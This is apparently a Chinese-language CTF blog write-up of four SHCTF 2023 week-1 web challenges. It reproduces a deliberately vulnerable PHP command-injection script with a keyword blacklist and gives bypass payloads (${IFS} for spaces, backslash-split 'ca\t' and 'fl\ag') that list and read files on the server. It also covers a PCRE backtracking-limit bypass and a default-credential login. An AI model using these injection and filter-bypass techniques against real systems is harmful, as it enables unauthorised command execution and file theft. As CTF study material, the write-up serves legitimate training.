shctf

[WEEK1]babyRCE

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

简单的绕过
空格被过滤使用${IFS}不能使用%20或%09,因为这里面包含数字和%
cat 和flag关键字被过滤可以在字符中间插入''\,这题同样过滤了'',使用\即可
payload:

1
2
3
?rce=ls
//flag.php index.php
?rce=ca\t${IFS}fl\ag.php

返回一个php代码(感觉并没有什么用。。。)

1
2
3
4
5
<?php
$flag = getenv('GZCTF_FLAG');
if($flag=="not_flag" or $flag==""){
$flag="dzctf{test_flag}";
}
1
2
?rce=ls${IFS}/
//bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
1
2
?rce=cat${IFS}/flag
//flag{4289e79a-8b35-4b79-8128-40f4777d31b2}

[WEEK1]1zzphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{
$code = (String)$_POST['c_ode'];
$num=$_GET['num'];
if(preg_match("/[0-9]/", $num))
{
die("no number!");
}
elseif(intval($num))
{
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;
}
}

num数组绕过即可
重点在于

1
2
3
4
5
6
7
8
9
if(preg_match('/.+?SHCTF/is', $code))
{
die('no touch!');
}
if(stripos($code,'2023SHCTF') === FALSE)
{
die('what do you want');
}
echo $flag;

/is:大小写与空格换行同过滤
这里不能用数组绕过
因为:
虽然能绕过第一个preg_match()
虽说null===false返回的是false是可以绕过的
但在实际测试中还是没有绕过,究其原因是$code = (String)$_POST['c_ode'];的问题,在本地php环境测试一下
如果除去(string)那么是可以绕过stripos()输出flag
这里使用var_dump()显示code的值

加上(string)

可以看出问题所在,string把数组ARRAY强转化
Array!==2023SHCTF,所以没有绕过
所以不能用数组
%20和%0a也不行,因为/is过滤了换行与空格
那么只有使用PCRE回溯次数限制
写一个简单的代码

1
2
3
4
5
<?php

$a=str_repeat('a',1000000);

echo $a;

在最后加入2023SHCTF得到flag

[WEEK1]登录就给flag

双鸡表框会有历史记录,试出来最后的答案是

1
2
username:admin
password:password

[WEEK1]飞机大战

js文件打开,看到有个Unicode加密格式

1
\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0033\u004d\u0032\u0056\u006a\u0059\u007a\u006b\u0030\u0059\u0069\u0030\u0033\u005a\u0057\u0052\u0069\u004c\u0054\u0051\u0078\u004e\u006a\u0049\u0074\u004f\u0044\u0051\u0033\u004f\u0053\u0031\u006b\u004d\u0054\u005a\u006d\u005a\u0054\u0067\u0034\u004e\u0044\u0041\u0034\u0059\u006a\u005a\u0039\u000a

解码后base64再解码获得flag

或者控制台发送scores=100000000


shctf
http://example.com/2023/10/26/shctf/
作者
奇怪的奇怪
发布于
2023年10月26日
许可协议